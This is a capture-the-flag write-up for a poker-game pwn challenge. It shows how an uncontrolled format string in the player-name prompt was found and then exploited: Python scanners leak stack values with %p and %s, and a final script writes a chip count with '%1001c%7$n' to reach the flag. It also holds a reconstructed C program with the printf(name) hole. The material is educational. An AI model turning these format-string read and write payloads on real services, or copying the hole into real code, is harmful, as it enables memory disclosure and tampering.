Challenge Description
Come play some poker! You’ve got 500 chips and a shot to double up. The flag’s behind a win condition, but a good poker player knows there’s always more than one way to win.
nc challenge.utctf.live 7255
Challenge Overview
This is a pwnable challenge with no binary or source provided to players. I first used netcat to inspect the service:

Based on the screenshot, this is a poker game. The player and dealer each start with 500 chips. The player provides a name and can select one of four actions: check, call, raise <n>, or fold.
Challenge Analysis
After many netcat sessions, we determined the game’s flow:
- The service prints a banner and prompts
Enter your name:; it stores the input and prints a welcome message that includes the name. - If the player chooses to play:
- the poker hand state machine runs (preflop/flop/turn/river),
- chips are settled,
- control returns to the menu.
- On exit the service checks an end condition and prints the flag if it is satisfied.
Because the program echoes the supplied name back to stdout, we suspected a format-string vulnerability. The vulnerable code might look like this:
// input name and store intro a c-string
char *playerName = name
printf("Welcome to the table, ");
printf(playerName);
Run netcat again to check this prediction, we have this result:

This confirms the suspicion. Next we needed to determine the win condition, so I tried pushing the game into boundary states by always using raise 480. I chose raise 480 because raising less than 480 produces a smaller pot that doesn’t reach the maximum stage, while raising 490 or 500 is often rejected.
Both players start with 500 chips, so the most extreme distribution is 1000-0. I used that hypothesis in a script to check the win condition:
import argparse
import re
import socket
import time
from pathlib import Path
from typing import Optional, Tuple
HOST = "challenge.utctf.live"
PORT = 7255
PLAY_PROMPT = "Play a hand? (y to play / n to exit / t to toggle Unicode suits [currently on]):"
ACTION_PREFIX = "Action ("
def send_line(sock: socket.socket, line: str) -> None:
sock.sendall((line + "\n").encode())
def recv_until(sock: socket.socket, buf: str, marker: str, timeout: float = 4.0) -> Tuple[str, str]:
end = time.time() + timeout
while marker not in buf:
if time.time() > end:
raise TimeoutError(f"timeout waiting for marker: {marker}")
data = sock.recv(4096)
if not data:
raise ConnectionError("remote closed")
buf += data.decode(errors="replace")
idx = buf.index(marker) + len(marker)
return buf[:idx], buf[idx:]
def recv_action_prompt(sock: socket.socket, buf: str, timeout: float = 4.0) -> Tuple[str, str]:
end = time.time() + timeout
while True:
idx = buf.find(ACTION_PREFIX)
if idx != -1:
colon = buf.find(":", idx)
if colon != -1:
prompt = buf[idx : colon + 1]
return prompt, buf[colon + 1 :]
if time.time() > end:
raise TimeoutError("timeout waiting action prompt")
data = sock.recv(4096)
if not data:
raise ConnectionError("remote closed")
buf += data.decode(errors="replace")
def parse_last_chips(text: str) -> Tuple[Optional[int], Optional[int]]:
m = re.findall(r"Your chips:\s*(\d+)\s*\|\s*Dealer chips:\s*(\d+)", text)
if not m:
return None, None
y, d = m[-1]
return int(y), int(d)
def play_to_menu(sock: socket.socket, buf: str, transcript: str, aggressive: bool = False) -> Tuple[str, str]:
# Keep the hand moving with check/call so showdown can resolve naturally.
deadline = time.time() + 12.0
while time.time() < deadline:
if PLAY_PROMPT in buf:
cut = buf.index(PLAY_PROMPT) + len(PLAY_PROMPT)
transcript += buf[:cut]
buf = buf[cut:]
return buf, transcript
idx = buf.find(ACTION_PREFIX)
if idx != -1:
colon = buf.find(":", idx)
if colon != -1:
prompt = buf[idx : colon + 1]
transcript += buf[: colon + 1]
buf = buf[colon + 1 :]
if "check" in prompt:
send_line(sock, "check")
elif "call" in prompt:
send_line(sock, "call")
else:
send_line(sock, "fold")
continue
try:
data = sock.recv(4096)
except (TimeoutError, socket.timeout):
continue
if not data:
break
chunk = data.decode(errors="replace")
buf += chunk
transcript += chunk
raise TimeoutError("did not return to play menu in time")
def single_attempt(name: str, aggressive: bool = False, max_hands: int = 2) -> Tuple[bool, str, Tuple[Optional[int], Optional[int]]]:
transcript = ""
with socket.create_connection((HOST, PORT), timeout=8) as sock:
sock.settimeout(1.5)
buf = ""
# Login
chunk, buf = recv_until(sock, buf, "Enter your name:")
transcript += chunk
send_line(sock, name)
# Menu -> start hand 1
chunk, buf = recv_until(sock, buf, PLAY_PROMPT)
transcript += chunk
send_line(sock, "y")
# Hand 1: force near all-in from SB spot
prompt, buf = recv_action_prompt(sock, buf)
transcript += prompt
if "call 10 / raise <n> / fold" in prompt:
send_line(sock, "raise 480")
elif "check / raise <n> / fold" in prompt:
send_line(sock, "raise 480")
else:
send_line(sock, "fold")
# Finish hand 1 and return to menu
buf, transcript = play_to_menu(sock, buf, transcript, aggressive=aggressive)
y1, d1 = parse_last_chips(transcript)
y2, d2 = y1, d1
hands_played = 1
while hands_played < max_hands:
if (y2, d2) == (1000, 0):
break
if y2 is None or d2 is None:
break
if y2 <= 0 or d2 <= 0:
break
send_line(sock, "y")
buf, transcript = play_to_menu(sock, buf, transcript, aggressive=aggressive)
y2, d2 = parse_last_chips(transcript)
hands_played += 1
# Exit cleanly
send_line(sock, "n")
end = time.time() + 1.0
while time.time() < end:
try:
data = sock.recv(4096)
except (TimeoutError, socket.timeout):
break
if not data:
break
transcript += data.decode(errors="replace")
return (y2, d2) == (1000, 0), transcript, (y1, d1)
def main() -> int:
parser = argparse.ArgumentParser(description="Retry remote sessions until chips become exactly 1000-0")
parser.add_argument("--attempts", type=int, default=400, help="Maximum sessions to try")
parser.add_argument("--aggressive", action="store_true", help="Use more assertive line selection and play extra hands")
parser.add_argument("--max-hands", type=int, default=2, help="Maximum hands to play per session")
parser.add_argument(
"--save",
type=Path,
default=Path("blind/1000_0_transcript.txt"),
help="Where to save the successful transcript",
)
args = parser.parse_args()
for i in range(1, args.attempts + 1):
try:
ok, transcript, hand1 = single_attempt(
name=f"hunt{i}",
aggressive=args.aggressive,
max_hands=max(2, args.max_hands),
)
y, d = parse_last_chips(transcript)
print(f"[attempt {i}] hand1={hand1} final={y}-{d}")
if ok:
args.save.parent.mkdir(parents=True, exist_ok=True)
args.save.write_text(transcript, encoding="utf-8")
print(f"[+] Hit target 1000-0 on attempt {i}")
print(f"[+] Saved transcript to {args.save}")
return 0
except Exception as exc:
print(f"[attempt {i}] error: {exc}")
time.sleep(0.08)
print("[!] END")
return 1
if __name__ == "__main__":
raise SystemExit(main())
Run command:
python3 name.py --attempts 10 --aggressive --max-hands 4
Here is the result:
[attempt 1] hand1=(990, 10) final=990-10
[attempt 2] hand1=(10, 990) final=10-990
[attempt 3] hand1=(990, 10) final=990-10
[attempt 4] hand1=(990, 10) final=990-10
[attempt 5] hand1=(520, 480) final=460-540
[attempt 6] hand1=(990, 10) final=990-10
[attempt 7] hand1=(10, 990) final=10-990
[attempt 8] hand1=(10, 990) final=10-990
[attempt 9] hand1=(10, 990) final=10-990
[attempt 10] hand1=(990, 10) final=990-10
[!] Target 1000-0 not reached within attempt budget
I automated raise 480 for each hand. The output shows different outcomes for the same input, indicating settlement inconsistencies; the behavior is stochastic and not reliably exploitable remotely.
We did not observe 1000-0, so it is likely not the required win condition. We hypothesize the win gate may be based on your_chips > 1000.
From this analysis, we reconstructed a plausible implementation of the service:
#include <stdio.h>
#include <stdlib.h>
int main(void) {
char name[256];
int your_chips = 500;
int dealer_chips = 500;
puts("Enter your name:");
fgets(name, sizeof(name), stdin);
// Vulnerability: uncontrolled format string
printf("Welcome to the table, ");
printf(name); // <-- format string vulnerability
printf("!\n");
while (1) {
printf("Your chips: %d | Dealer chips: %d\n", your_chips, dealer_chips);
printf("Play a hand? (y to play / n to exit): ");
char cmd[16];
if (!fgets(cmd, sizeof(cmd), stdin)) break;
if (cmd[0] == 'n') {
// Inferred win gate from behavior
if (your_chips > 1000) {
puts("utflag{...}");
} else {
puts("Better luck next time.");
}
break;
}
// Poker hand engine here
// ... complex game logic omitted in real service
}
return 0;
}
Now we have the basic information. Next, we’ll create scripts to dynamically analyze the service:
- Confirm leak primitive (
%p) using payloads like%i$pacross many indices. - Confirm read primitive (
%s) using payloads like%i$sfor candidate indices. - Confirm write primitive (
%n), e.g.%1000c%6$nto alter dealer chips or%1000c%7$nto alter player chips.
Here is the script for step 1 and 2:
import re
import socket
import string
from typing import Optional
HOST = "challenge.utctf.live"
PORT = 7255
FLAG_RE = re.compile(r"[A-Za-z0-9_]*\{[^\n{}]{3,}\}")
def get_welcome_value(payload: str, timeout: float = 0.65) -> Optional[str]:
try:
s = socket.create_connection((HOST, PORT), timeout=2.0)
except OSError:
return None
s.settimeout(timeout)
try:
try:
banner = s.recv(4096).decode(errors="replace")
except (TimeoutError, socket.timeout, OSError):
return None
if "Enter your name:" not in banner:
return None
s.sendall((payload + "\n").encode())
out = ""
for _ in range(4):
try:
data = s.recv(4096)
except (TimeoutError, socket.timeout, OSError):
break
if not data:
break
out += data.decode(errors="replace")
if "Play a hand?" in out:
break
m = re.search(r"Welcome to the table, (.*?)!", out, re.S)
if not m:
return None
return m.group(1)
finally:
s.close()
def printable(s: str) -> str:
return "".join(ch if ch in string.printable and ch not in "\r\n\t" else "." for ch in s)
def main() -> int:
print("[*] Stage 1: leak stack args with %i$p")
ptr_map: dict[int, str] = {}
for i in range(1, 70):
payload = f"%{i}$p"
v = get_welcome_value(payload)
if v is None:
continue
v = v.strip()
ptr_map[i] = v
if i % 10 == 0:
print(f" - scanned {i} offsets")
for i in sorted(ptr_map):
v = ptr_map[i]
if v not in ("(nil)", "0x0"):
print(f"[p] {i:3d}: {v}")
print("\n[*] Stage 2: dereference candidate pointers with %i$s")
candidates = []
for i, v in ptr_map.items():
if not v.startswith("0x"):
continue
try:
n = int(v, 16)
except ValueError:
continue
if n <= 0x1000:
continue
candidates.append(i)
seen = set()
for i in sorted(set(candidates)):
payload = f"%{i}$s"
v = get_welcome_value(payload, timeout=0.55)
if not v:
continue
pv = printable(v)
if len(pv) < 4:
continue
key = pv[:80]
if key in seen:
continue
seen.add(key)
print(f"[s] {i:3d}: {pv[:220]}")
m = FLAG_RE.search(v)
if m:
print(f"[+] FLAG FOUND: {m.group(0)}")
return 0
print("[!] No direct flag string leaked in scanned offsets.")
return 1
if __name__ == "__main__":
raise SystemExit(main())
Here is the output of this code:
$ python3 fmt_scan.py
[*] Stage 1: leak stack args with %i$p
- scanned 10 offsets
- scanned 20 offsets
- scanned 30 offsets
- scanned 40 offsets
- scanned 50 offsets
- scanned 60 offsets
[p] 1: 0x7ffda1665450
[p] 4: 0x16
[p] 5: 0x16
[p] 6: 0x7ffd96938398
[p] 7: 0x7ffdbcfd166c
[p] 8: 0x7ffdf83d1d10
[p] 9: 0x4034c3
[p] 13: 0x7ffd3bc0efe5
[p] 20: 0x400040
[p] 21: 0xd
[p] 22: 0x7fff1af2fc40
[p] 23: 0x7ffee3cbcc99
[p] 24: 0x7f347cca65e0
[p] 25: 0x40372d
[p] 26: 0x7f0d657a72e8
[p] 27: 0x4036e0
[p] 29: 0x1f4000001f4
[p] 30: 0x7fff40a166d0
[p] 33: 0x7f6b5ea5b083
[p] 34: 0x100000006
[p] 35: 0x7ffe50956d78
[p] 36: 0x16ec977a0
[p] 37: 0x403464
[p] 38: 0x4036e0
[p] 39: 0x3eac8cb44490c1ff
[p] 40: 0x401230
[p] 41: 0x7ffe13e278e0
[p] 44: 0xc0a0861aa8ffdda8
[p] 45: 0x10b87249fefe49d8
[p] 49: 0x1
[p] 50: 0x7fffd3a32788
[p] 51: 0x7ffe10122eb8
[p] 52: 0x7fbe22635190
[p] 55: 0x401230
[p] 56: 0x7ffd42ec7890
[p] 59: 0x40125e
[p] 60: 0x7ffe71cfff88
[p] 61: 0x1c
[p] 62: 0x1
[p] 63: 0x7ffd5b852e84
[p] 65: 0x7fffeaf87e92
[p] 66: 0x7ffd76754ea6
[p] 67: 0x7ffda9ebeeb1
[p] 68: 0x7fffa6340ec3
[p] 69: 0x7ffc39fbded1
[*] Stage 2: dereference candidate pointers with %i$s
[s] 1: Welcome to the table, 00 each ..
[s] 9: .E...E.
[s] 13: 3978
[s] 22: .gTn.
[s] 23: x86_64
[s] 24: ....UH..t.
[s] 25: H...H9.u.H...[]A\A]A^A_.ff....
[s] 27: ....AWL.=#7
[s] 33: ...).
[s] 35: ......
[s] 37: ....UH..H..
[s] 40: ....1.I..^H..H...PTI..P7@
[s] 50: .~....
[s] 51: ...W..
[s] 59: .......f....
[s] 63: /build/poker
[s] 65: MAIL=/var/mail/poker
[s] 66: USER=poker
[s] 67: HOME=/home/poker
[s] 68: LOGNAME=poker
[s] 69: PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
[!] No direct flag string leaked in scanned offsets.
Interpretation:
- The format string is interpreted by the service.
- Positional argument access works.
- The service dereferences argument pointers and reads memory as C-strings.
Next, for stage 3, I wrote this script:
import argparse
import re
import socket
import time
from pathlib import Path
DEFAULT_HOST = "challenge.utctf.live"
DEFAULT_PORT = 7255
ENTER_PROMPT = "Enter your name:"
PLAY_PROMPT = "Play a hand?"
ACTION_PROMPT = "Action ("
def recv_some(sock: socket.socket, timeout: float) -> str:
sock.settimeout(timeout)
chunks = []
while True:
try:
data = sock.recv(4096)
except (TimeoutError, socket.timeout):
break
if not data:
break
chunks.append(data)
if len(data) < 4096:
break
return b"".join(chunks).decode(errors="replace")
def send_line(sock: socket.socket, line: str) -> None:
sock.sendall((line + "\n").encode())
def wait_for_marker(sock: socket.socket, marker: str, timeout: float, transcript: str) -> tuple[bool, str]:
end = time.time() + timeout
buf = transcript
while time.time() < end:
if marker in buf:
return True, buf
piece = recv_some(sock, timeout=0.35)
if piece:
buf += piece
return marker in buf, buf
def extract_summary(transcript: str) -> str:
welcome = re.search(r"Welcome to the table, (.*?)!", transcript, re.S)
chips = re.findall(r"Your chips:\s*(\d+)\s*\|\s*Dealer chips:\s*(\d+)", transcript)
parts = []
if welcome:
w = welcome.group(1).replace("\n", " ").strip()
if len(w) > 80:
w = w[:77] + "..."
parts.append(f"welcome={w!r}")
if chips:
y, d = chips[-1]
parts.append(f"chips={y}-{d}")
if "{" in transcript and "}" in transcript:
m = re.search(r"[A-Za-z0-9_]*\{[^\n{}]+\}", transcript)
if m:
parts.append(f"flag={m.group(0)}")
return " | ".join(parts) if parts else "no-summary"
def run_single(
host: str,
port: int,
name_payload: str,
queued_lines: list[str],
auto_next: bool,
timeout: float,
) -> tuple[int, str]:
transcript = ""
queue = list(queued_lines)
with socket.create_connection((host, port), timeout=8) as sock:
sock.settimeout(1.2)
ok, transcript = wait_for_marker(sock, ENTER_PROMPT, timeout, transcript)
if not ok:
return 1, transcript
send_line(sock, name_payload)
print(f"[send:name] {name_payload}")
# Read response right after name payload.
transcript += recv_some(sock, timeout=1.0)
if auto_next and queue:
end = time.time() + timeout
while queue and time.time() < end:
# Keep pulling output until one of the prompts appears.
transcript += recv_some(sock, timeout=0.4)
if PLAY_PROMPT in transcript or ACTION_PROMPT in transcript:
line = queue.pop(0)
send_line(sock, line)
print(f"[send] {line}")
transcript += recv_some(sock, timeout=0.8)
elif queue:
# Non-auto mode: send all queued lines immediately.
for line in queue:
send_line(sock, line)
print(f"[send] {line}")
transcript += recv_some(sock, timeout=0.8)
# Final drain.
transcript += recv_some(sock, timeout=1.0)
return 0, transcript
def main() -> int:
parser = argparse.ArgumentParser(description="Send payloads to poker service and capture transcript")
parser.add_argument("--host", default=DEFAULT_HOST, help="Target host")
parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Target port")
parser.add_argument("--name", default=None, help="Payload to send as name")
parser.add_argument(
"--batch-name",
action="append",
default=[],
help="Batch mode: payload as name (repeat this flag for multiple payloads)",
)
parser.add_argument(
"--send",
action="append",
default=[],
help="Additional lines to send after login (can be repeated, e.g. --send y --send n)",
)
parser.add_argument(
"--auto-next",
action="store_true",
help="Send queued --send lines when Play/Action prompt appears",
)
parser.add_argument(
"--auto-exit",
action="store_true",
help="Ensure command 'n' is queued (useful in batch mode)",
)
parser.add_argument("--timeout", type=float, default=8.0, help="Overall wait timeout per stage")
parser.add_argument("--save", type=Path, default=None, help="Optional file path to save full transcript")
args = parser.parse_args()
payloads: list[str] = []
if args.name is not None:
payloads.append(args.name)
payloads.extend(args.batch_name)
if not payloads:
print("[-] Provide --name or at least one --batch-name")
return 2
queue = list(args.send)
if args.auto_exit and "n" not in queue:
queue.append("n")
if len(payloads) == 1:
rc, transcript = run_single(
host=args.host,
port=args.port,
name_payload=payloads[0],
queued_lines=queue,
auto_next=args.auto_next,
timeout=args.timeout,
)
if rc != 0:
print("[-] Did not receive name prompt")
print(transcript[-1000:])
return rc
if args.save is not None:
args.save.parent.mkdir(parents=True, exist_ok=True)
args.save.write_text(transcript, encoding="utf-8")
print(f"[+] Saved transcript to {args.save}")
print("\n===== Transcript Tail =====")
print(transcript[-2500:])
return 0
save_dir = args.save
if save_dir is not None:
save_dir.parent.mkdir(parents=True, exist_ok=True)
ok_count = 0
print(f"[*] Batch mode: {len(payloads)} payload(s)")
for idx, payload in enumerate(payloads, start=1):
print(f"\n=== [{idx}/{len(payloads)}] payload={payload!r} ===")
try:
rc, transcript = run_single(
host=args.host,
port=args.port,
name_payload=payload,
queued_lines=queue,
auto_next=args.auto_next,
timeout=args.timeout,
)
except Exception as exc:
print(f"[!] error: {exc}")
continue
if rc != 0:
print("[-] no name prompt")
continue
ok_count += 1
print(f"[summary] {extract_summary(transcript)}")
if save_dir is not None:
out_path = save_dir.with_name(f"{save_dir.stem}_{idx}{save_dir.suffix or '.txt'}")
out_path.write_text(transcript, encoding="utf-8")
print(f"[+] saved {out_path}")
print(f"\n[*] Batch done: {ok_count}/{len(payloads)} succeeded")
return 0
if __name__ == "__main__":
raise SystemExit(main())
Run command:
$ python3 send_payload.py --name %1000c%7\$n --send n --auto-next
$ python3 send_payload.py --name %1000c%6\$n --send n --auto-next
Result:


From the results, the mapping appears to be:
your_chips→ format argument#7dealer_chips→ format argument#6
Exploitation
Based on the analysis, the final exploit script is:
import re
import socket
HOST = "challenge.utctf.live"
PORT = 7255
FLAG_RE = re.compile(r"[A-Za-z0-9_]*\{[^\n{}]+\}")
def recv_some(sock: socket.socket, rounds: int = 8) -> str:
out = ""
for _ in range(rounds):
try:
data = sock.recv(4096)
except (TimeoutError, socket.timeout):
break
if not data:
break
out += data.decode(errors="replace")
return out
def main() -> int:
# Vulnerability: server does printf(name) directly.
# %1001c prints 1001 chars, then %7$n writes 1001 into the integer pointer at arg #7.
# In this binary, arg #7 maps to your chip counter.
payload = "%1001c%7$n"
with socket.create_connection((HOST, PORT), timeout=8) as sock:
sock.settimeout(1.2)
banner = recv_some(sock, rounds=4)
if "Enter your name:" not in banner:
print("[-] Unexpected banner, cannot continue")
return 1
sock.sendall((payload + "\n").encode())
text = banner + recv_some(sock, rounds=10)
m = re.search(r"Your chips:\s*(\d+)\s*\|\s*Dealer chips:\s*(\d+)", text)
if m:
print(f"[*] Chip state after payload: you={m.group(1)} dealer={m.group(2)}")
# Exit cleanly; service prints final result path, including flag when threshold is met.
sock.sendall(b"n\n")
text += recv_some(sock, rounds=10)
fm = FLAG_RE.search(text)
if not fm:
print("[-] Flag not found. Tail output:")
print("\n".join(text.splitlines()[-20:]))
return 1
print(f"[+] FLAG: {fm.group(0)}")
return 0
if __name__ == "__main__":
raise SystemExit(main())
Run result:
$ python3 exploit.py
[*] Chip state after payload: you=1001 dealer=500
[+] FLAG: utflag{counting_chars_not_cards}
Technical Summary
Techniques Used
- Black-box protocol reverse engineering
- Format string triad (
%p,%s,%n) - Positional argument mapping
- Deterministic state overwrite for win-gate bypass
Vulnerability Classification
- CWE-134: Uncontrolled Format String
- Impact: arbitrary memory read/write in process context
Lessons Learned
- In interactive game services, always test pre-game user fields first.
- If a challenge hints “more than one way to win”, exploit path likely bypasses intended game logic.
%noften turns a simple leak into complete game-state control.
Challenge Source Code
Challenge’s Github Repository: small_blind